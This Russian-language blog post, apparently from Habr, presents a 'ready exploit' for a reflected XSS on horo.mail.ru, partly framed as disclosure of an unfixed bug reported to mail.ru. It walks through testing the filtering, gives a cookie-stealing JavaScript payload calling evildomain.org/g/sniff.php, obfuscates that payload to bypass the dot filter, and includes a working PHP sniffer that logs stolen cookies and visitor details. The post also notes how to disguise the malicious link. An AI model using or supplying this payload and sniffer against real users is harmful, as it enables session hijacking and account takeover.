Pull to refresh

Пассивная XSS на mail.ru и готовый exploit

Reading time3 min
Views13K
Делать было нечего, дело было вечером.

Сидел как-то раз, обычный ничем не выдающийся скрипткидди дома, за своим холодным, но от этого не менее уютным ПК. В последнее время, он любил запихивать во всевозможные формы на форумах и сайтах различный наборов символов, так или иначе предназначенный для одной цели: разрушить html блок поля ввода. Он извращенец, ему доставляло удовольствие помогать людям. Администратор ресурса, будучи поставленным в известность, с его или без его помощи устранял найденную уязвимость, каждый такой случай был для него epic WIN.

Но этот вечер был необычным, потому что он не пошел на очередной форум, или частный сайт, он открыл mail.ru и подумал, почему нет?

Начало...

Первым делом надо было определить жертву


Для жертвы были выбраны «Леди» и «Гороскопы». Принцип отбора был таков — «какой из проектов менее интересен для it специалистов?».

Недолго попинав «Леди», принялся за «Гороскопы». Тут меня заинтересовал блок с гороскопами на все случаи жизни, который менялся при обновлении страницы.



Вставив незамысловатое ">Test видим:


Для начала не плохо. Теперь смотрим данные формы в которую будем отправлять свой злокод. Открываем исходник страницы и смотрим код уязвимого поля вывода данных:


Код формы ввода:


и код поля ввода:


Из чего извлекаем вот такую вот ссылку:
http:\\horo.mail.ru/personal.html?type=prg&so_nm=XSS

Пентесты

Следующим шагом, проверяем поле на фильтрацию символов.

Пройдем по ссылке:
http:\\horo.mail.ru/personal.html?type=prg&so_nm=text">-.-<a и видим, что точка фильтруется


<a используется как короткий отсекатель мусора, от остатков сломанного тега. Иначе будут обломки закрывающие предыдущий тег, вот так:


Мы определили, что поле фильтрует точку, т.е.
"><script>alert();<script>


сработает, а вот
нет, т.к. на выходе получим


Обфускатор

Нам нужно выполнить на странице код, который передаст куки сниферу, например такой:
img=new Image();
img.src='http://evildomain.org/g/sniff.php?cookie='+document.cookie;


Для обхода фильтрации точки в коде, надо его обфусцировать, для этого скрипткидди используют разные ресурсы, в данном конкретном был использован www.javascriptobfuscator.com/default.aspx

Даём ему на входе обычный JS:
img=new Image();
img.src='http://evildomain.org/g/sniff.php?cookie='+document.cookie;


На выходе получаем достаточно злой JS, без точек:
var _0xdfd0=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x65\x76\x69\x6C\x64\x6F\x6D\x61\x69\x6E\x2E\x6F\x72\x67\x2F\x67\x2F\x73\x6E\x69\x66\x66\x2E\x70\x68\x70\x3F\x63\x6F\x6F\x6B\x69\x65\x3D","\x63\x6F\x6F\x6B\x69\x65"];img= new Image();img[_0xdfd0[0]]=_0xdfd0[1]+document[_0xdfd0[2]];

Обрамляем и подставляем в нашу XSS, получаем зловредную ссылку:
http:\\horo.mail.ru/personal.html?type=prg&so_nm="><a


Осталось разместить по ссылке http://evildomain.org/g/sniff.php простейший снифер, который пишет логи в один файл, а куки в другой:
<?php

if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
$file = fopen("./sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}

$date=date("[D|d/m/Y|H:i]");
$ip=getenv("Remote_addr");
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$otkuda=getenv("HTTP_REFERER");
$browser=getenv("HTTP_USER_AGENT");
$win=getenv("windir");
$uid=implode($argv," ");

$fp=fopen("./log.txt","a");
fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n");
fclose($fp);

?>


Всё готово.

Итого

Проверяем работу эксплоита в разных браузерах и убеждаемся что IE не такой уж плохой :). Он, как и Chrome, отбил XSS.

А сократив страшную ссылку выше или создав отдельную html форму в укромном месте, можно получить вполне съедобную и привычную ссылку, при нажатии на которую куки пользователей mail.ru (любителей FF и Opera) перетекут к вам:


Всё зависит от вашей фантазии, возможностей для компрометации море, авторизация под пользователем на всех ресурсах mail.ru, первая и самая очевидная.

Ответ mail.ru и бездействие

По уязвимости был открыт тикет от 29.06.2012: Ticket#2012062921010318
и получен ответ:

Здравствуйте.

Благодарим Вас за предоставленную информацию.
Ситуация передана нашим специалистам.

Спасибо за сотрудничество.

С уважением, Артем Д.
Служба поддержки пользователей
почтовой системы Mail.ru


Но уязвимость не закрыта по сей день, поэтому прошу администрацию mail.ru все таки принять меры.
Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
Total votes 101: ↑86 and ↓15+71
Comments26

Articles